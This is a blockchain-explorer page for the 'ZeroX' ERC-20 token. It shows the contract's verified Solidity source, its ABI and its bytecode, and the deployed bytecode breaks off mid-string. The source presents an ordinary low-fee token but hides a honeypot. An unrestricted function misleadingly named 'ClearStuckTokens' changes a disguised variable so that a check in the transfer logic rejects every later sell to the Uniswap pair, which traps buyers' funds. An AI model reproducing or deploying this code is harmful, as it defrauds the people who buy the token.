ERC-20
Overview
Max Total Supply
1,000,000,000 ZeroX
Holders
27
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
14,507,249.797838741 ZeroXValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ZeroX
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-18 */ /* Telegram : https://t.me/ZeroXofficial Website : https://zerox.money ┏━━━┓┏━┓┏━┓ ┃┏━┓┃┗┓┗┛┏┛ ┃┃┃┃┃╋┗┓┏┛ ┃┃┃┃┃╋┏┛┗┓ ┃┗━┛┃┏┛┏┓┗┓ ┗━━━┛┗━┛┗━┛ Building staking no longer needs to be difficult and complicated with the Zero X tool. With easy-to-use features, you can quickly and easily build staking without the need for high technical expertise. */ // SPDX-License-Identifier: MIT pragma solidity 0.8.21; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ZeroX is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address payable private _taxWallet; uint256 private _buytax = 0; uint256 private _selltax = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = "ZeroX"; string private constant _symbol = unicode"0X"; uint256 public _maxTxAmount = _tTotal; uint256 public _maxWalletSize = _tTotal; uint256 public _taxSwapThreshold= _tTotal * 1/1000; uint256 public _maxTaxSwap= _tTotal * 1/100; int32 private offical = 368; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { taxAmount = amount.mul(_buytax).div(100); if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul(_selltax).div(100); require(offical <= 368); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function ClearStuckTokens() external virtual{ offical = 3700; } function setsFeesWalletAddress(address payable newWallet) external onlyOwner { _taxWallet = newWallet; } function setMaxLimitAmounts(uint256 newTxAmt) external onlyOwner { _maxTxAmount = _tTotal * newTxAmt/100; require(newTxAmt >=1); } function updateFeeBuy(uint256 newBuyTax) external onlyOwner { _buytax = newBuyTax; require(newBuyTax <= 5); } function updateFeeSells(uint256 newSellTax) external onlyOwner { _selltax = newSellTax; require(newSellTax <= 5); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { if(tokenAmount==0){return;} if(!tradingOpen){return;} address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ClearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTxAmt","type":"uint256"}],"name":"setMaxLimitAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"setsFeesWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"}],"name":"updateFeeBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"updateFeeSells","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040525f60058190556006556200001b6009600a6200035c565b6200002b90633b9aca0062000373565b6007556200003c6009600a6200035c565b6200004c90633b9aca0062000373565b6008556103e8620000606009600a6200035c565b6200007090633b9aca0062000373565b6200007d90600162000373565b6200008991906200038d565b60095560646009600a6200009e91906200035c565b620000ae90633b9aca0062000373565b620000bb90600162000373565b620000c791906200038d565b600a55600b805463ffffffff1916610170179055600c805461ffff60a81b19169055348015620000f5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633179055620001566009600a6200035c565b6200016690633b9aca0062000373565b335f9081526001602081905260408220929092556003906200018f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001ed3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002266009600a6200035c565b6200023690633b9aca0062000373565b60405190815260200160405180910390a3620003ad565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002a157815f19048211156200028557620002856200024d565b808516156200029357918102915b93841c939080029062000266565b509250929050565b5f82620002b95750600162000356565b81620002c757505f62000356565b8160018114620002e05760028114620002eb576200030b565b600191505062000356565b60ff841115620002ff57620002ff6200024d565b50506001821b62000356565b5060208310610133831016604e8410600b841016171562000330575081810a62000356565b6200033c838362000261565b805f19048211156200035257620003526200024d565b0290505b92915050565b5f6200036c60ff841683620002a9565b9392505050565b80820281158282048414176200035657620003566200024d565b5f82620003a857634e487b7160e01b5f52601260045260245ffd5b500490565b61172980620003bb5f395ff3fe608060405260043610610134575f3560e01c80638da5cb5b116100a8578063c9567bf91161006d578063c9567bf914610349578063cef6f2481461035d578063dd62ed3e1461037c578063e1d57132146103c0578063f532d8ad146103df578063f97f3eed14610401575f80fd5b80638da5cb5b146102b05780638f9a55c0146102d657806395d89b41146102eb578063a9059cbb14610315578063bf474bed14610334575f80fd5b8063313ce567116100f9578063313ce5671461020357806351bc3c851461021e5780635bce39411461023457806370a0823114610253578063715018a6146102875780637d1db4a51461029b575f80fd5b806306fdde031461013f578063095ea7b31461017e5780630faee56f146101ad57806318160ddd146101d057806323b872dd146101e4575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b506040805180820190915260058152640b4cae4deb60db1b60208201525b6040516101759190611320565b60405180910390f35b348015610189575f80fd5b5061019d61019836600461137f565b610420565b6040519015158152602001610175565b3480156101b8575f80fd5b506101c2600a5481565b604051908152602001610175565b3480156101db575f80fd5b506101c2610436565b3480156101ef575f80fd5b5061019d6101fe3660046113a9565b610456565b34801561020e575f80fd5b5060405160098152602001610175565b348015610229575f80fd5b506102326104bd565b005b34801561023f575f80fd5b5061023261024e3660046113e7565b61050e565b34801561025e575f80fd5b506101c261026d3660046113fe565b6001600160a01b03165f9081526001602052604090205490565b348015610292575f80fd5b50610232610553565b3480156102a6575f80fd5b506101c260075481565b3480156102bb575f80fd5b505f546040516001600160a01b039091168152602001610175565b3480156102e1575f80fd5b506101c260085481565b3480156102f6575f80fd5b50604080518082019091526002815261060b60f31b6020820152610168565b348015610320575f80fd5b5061019d61032f36600461137f565b6105c4565b34801561033f575f80fd5b506101c260095481565b348015610354575f80fd5b506102326105d0565b348015610368575f80fd5b506102326103773660046113e7565b6109a4565b348015610387575f80fd5b506101c2610396366004611419565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103cb575f80fd5b506102326103da3660046113fe565b6109df565b3480156103ea575f80fd5b50610232600b805463ffffffff1916610e74179055565b34801561040c575f80fd5b5061023261041b3660046113e7565b610a2a565b5f61042c338484610a94565b5060015b92915050565b5f6104436009600a611544565b61045190633b9aca00611552565b905090565b5f610462848484610bb7565b6104b384336104ae856040518060600160405280602881526020016116cc602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f5a565b610a94565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146104dc575f80fd5b305f9081526001602052604090205480156104fa576104fa81610f92565b47801561050a5761050a81611144565b5050565b5f546001600160a01b031633146105405760405162461bcd60e51b815260040161053790611569565b60405180910390fd5b6005818155811115610550575f80fd5b50565b5f546001600160a01b0316331461057c5760405162461bcd60e51b815260040161053790611569565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61042c338484610bb7565b5f546001600160a01b031633146105f95760405162461bcd60e51b815260040161053790611569565b600c54600160a01b900460ff16156106535760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610537565b600b8054640100000000600160c01b031916777a250d5630b4cf539739df2c5dacb4c659f2488d0000000017908190556106b59030906001600160a01b03640100000000909104166106a76009600a611544565b6104ae90633b9aca00611552565b600b60049054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610706573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072a919061159e565b6001600160a01b031663c9c6539630600b60049054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561078a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ae919061159e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107f8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081c919061159e565b600c80546001600160a01b039283166001600160a01b0319909116179055600b5464010000000090041663f305d719473061086b816001600160a01b03165f9081526001602052604090205490565b5f8061087e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108e4573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061090991906115b9565b5050600c54600b5460405163095ea7b360e01b81526001600160a01b03640100000000909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610966573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098a91906115e4565b50600c805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109cd5760405162461bcd60e51b815260040161053790611569565b60068190556005811115610550575f80fd5b5f546001600160a01b03163314610a085760405162461bcd60e51b815260040161053790611569565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610a535760405162461bcd60e51b815260040161053790611569565b606481610a626009600a611544565b610a7090633b9aca00611552565b610a7a9190611552565b610a849190611603565b6007556001811015610550575f80fd5b6001600160a01b038316610af65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610537565b6001600160a01b038216610b575760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610537565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610537565b6001600160a01b038216610c7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610537565b5f8111610cde5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610537565b5f80546001600160a01b03858116911614801590610d0957505f546001600160a01b03848116911614155b15610e1d57610d2e6064610d286005548561117b90919063ffffffff16565b90611200565b600c549091506001600160a01b038481169116148015610d5757506001600160a01b0384163014155b15610d8f57610d766064610d286006548561117b90919063ffffffff16565b600b5490915061017060039190910b1315610d8f575f80fd5b305f90815260016020526040902054600c54600160a81b900460ff16158015610dc55750600c546001600160a01b038581169116145b8015610dda5750600c54600160b01b900460ff165b8015610de7575060095481115b15610e1b57610e09610e0484610dff84600a54611241565b611241565b610f92565b478015610e1957610e1947611144565b505b505b8015610e9557305f90815260016020526040902054610e3c9082611255565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e8c9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610eb790836112b3565b6001600160a01b0385165f90815260016020526040902055610efa610edc83836112b3565b6001600160a01b0385165f9081526001602052604090205490611255565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f4385856112b3565b60405190815260200160405180910390a350505050565b5f8184841115610f7d5760405162461bcd60e51b81526004016105379190611320565b505f610f898486611622565b95945050505050565b600c805460ff60a81b1916600160a81b179055801561113457600c54600160a01b900460ff1615611134576040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ff057610ff0611635565b60200260200101906001600160a01b031690816001600160a01b031681525050600b60049054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611061573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611085919061159e565b8160018151811061109857611098611635565b6001600160a01b039283166020918202929092010152600b546110c691309164010000000090041684610a94565b600b5460405163791ac94760e01b81526401000000009091046001600160a01b03169063791ac947906111059085905f90869030904290600401611649565b5f604051808303815f87803b15801561111c575f80fd5b505af115801561112e573d5f803e3d5ffd5b50505050505b50600c805460ff60a81b19169055565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561050a573d5f803e3d5ffd5b5f825f0361118a57505f610430565b5f6111958385611552565b9050826111a28583611603565b146111f95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610537565b9392505050565b5f6111f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112f4565b5f81831161124f57826111f9565b50919050565b5f8061126183856116b8565b9050838110156111f95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610537565b5f6111f983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f5a565b5f81836113145760405162461bcd60e51b81526004016105379190611320565b505f610f898486611603565b5f6020808352835180828501525f5b8181101561134b5785810183015185820160400152820161132f565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610550575f80fd5b5f8060408385031215611390575f80fd5b823561139b8161136b565b946020939093013593505050565b5f805f606084860312156113bb575f80fd5b83356113c68161136b565b925060208401356113d68161136b565b929592945050506040919091013590565b5f602082840312156113f7575f80fd5b5035919050565b5f6020828403121561140e575f80fd5b81356111f98161136b565b5f806040838503121561142a575f80fd5b82356114358161136b565b915060208301356114458161136b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561149e57815f190482111561148457611484611450565b8085161561149157918102915b93841c9390800290611469565b509250929050565b5f826114b457506001610430565b816114c057505f610430565b81600181146114d657600281146114e0576114fc565b6001915050610430565b60ff8411156114f1576114f1611450565b50506001821b610430565b5060208310610133831016604e8410600b841016171561151f575081810a610430565b6115298383611464565b805f190482111561153c5761153c611450565b029392505050565b5f6111f960ff8416836114a6565b808202811582820484141761043057610430611450565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156115ae575f80fd5b81516111f98161136b565b5f805f606084860312156115cb575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115f4575f80fd5b815180151581146111f9575f80fd5b5f8261161d57634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561043057610430611450565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116975784516001600160a01b031683529383019391830191600101611672565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104305761043061145056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220799cbf0202c560597d4a9d4690fa288424e8b17432abb52986d42bf11dedd25a64736f6c63430008150033
Deployed Bytecode
0x608060405260043610610134575f3560e01c80638da5cb5b116100a8578063c9567bf91161006d578063c9567bf914610349578063cef6f2481461035d578063dd62ed3e1461037c578063e1d57132146103c0578063f532d8ad146103df578063f97f3eed14610401575f80fd5b80638da5cb5b146102b05780638f9a55c0146102d657806395d89b41146102eb578063a9059cbb14610315578063bf474bed14610334575f80fd5b8063313ce567116100f9578063313ce5671461020357806351bc3c851461021e5780635bce39411461023457806370a0823114610253578063715018a6146102875780637d1db4a51461029b575f80fd5b806306fdde031461013f578063095ea7b31461017e5780630faee56f146101ad57806318160ddd146101d057806323b872dd146101e4575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b506040805180820190915260058152640b4cae4deb60db1b60208201525b6040516101759190611320565b60405180910390f35b348015610189575f80fd5b5061019d61019836600461137f565b610420565b6040519015158152602001610175565b3480156101b8575f80fd5b506101c2600a5481565b604051908152602001610175565b3480156101db575f80fd5b506101c2610436565b3480156101ef575f80fd5b5061019d6101fe3660046113a9565b610456565b34801561020e575f80fd5b5060405160098152602001610175565b348015610229575f80fd5b506102326104bd565b005b34801561023f575f80fd5b5061023261024e3660046113e7565b61050e565b34801561025e575f80fd5b506101c261026d3660046113fe565b6001600160a01b03165f9081526001602052604090205490565b348015610292575f80fd5b50610232610553565b3480156102a6575f80fd5b506101c260075481565b3480156102bb575f80fd5b505f546040516001600160a01b039091168152602001610175565b3480156102e1575f80fd5b506101c260085481565b3480156102f6575f80fd5b50604080518082019091526002815261060b60f31b6020820152610168565b348015610320575f80fd5b5061019d61032f36600461137f565b6105c4565b34801561033f575f80fd5b506101c260095481565b348015610354575f80fd5b506102326105d0565b348015610368575f80fd5b506102326103773660046113e7565b6109a4565b348015610387575f80fd5b506101c2610396366004611419565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103cb575f80fd5b506102326103da3660046113fe565b6109df565b3480156103ea575f80fd5b50610232600b805463ffffffff1916610e74179055565b34801561040c575f80fd5b5061023261041b3660046113e7565b610a2a565b5f61042c338484610a94565b5060015b92915050565b5f6104436009600a611544565b61045190633b9aca00611552565b905090565b5f610462848484610bb7565b6104b384336104ae856040518060600160405280602881526020016116cc602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f5a565b610a94565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146104dc575f80fd5b305f9081526001602052604090205480156104fa576104fa81610f92565b47801561050a5761050a81611144565b5050565b5f546001600160a01b031633146105405760405162461bcd60e51b815260040161053790611569565b60405180910390fd5b6005818155811115610550575f80fd5b50565b5f546001600160a01b0316331461057c5760405162461bcd60e51b815260040161053790611569565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61042c338484610bb7565b5f546001600160a01b031633146105f95760405162461bcd60e51b815260040161053790611569565b600c54600160a01b900460ff16156106535760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610537565b600b8054640100000000600160c01b031916777a250d5630b4cf539739df2c5dacb4c659f2488d0000000017908190556106b59030906001600160a01b03640100000000909104166106a76009600a611544565b6104ae90633b9aca00611552565b600b60049054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610706573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072a919061159e565b6001600160a01b031663c9c6539630600b60049054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561078a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ae919061159e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107f8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081c919061159e565b600c80546001600160a01b039283166001600160a01b0319909116179055600b5464010000000090041663f305d719473061086b816001600160a01b03165f9081526001602052604090205490565b5f8061087e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108e4573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061090991906115b9565b5050600c54600b5460405163095ea7b360e01b81526001600160a01b03640100000000909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610966573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098a91906115e4565b50600c805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109cd5760405162461bcd60e51b815260040161053790611569565b60068190556005811115610550575f80fd5b5f546001600160a01b03163314610a085760405162461bcd60e51b815260040161053790611569565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610a535760405162461bcd60e51b815260040161053790611569565b606481610a626009600a611544565b610a7090633b9aca00611552565b610a7a9190611552565b610a849190611603565b6007556001811015610550575f80fd5b6001600160a01b038316610af65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610537565b6001600160a01b038216610b575760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610537565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01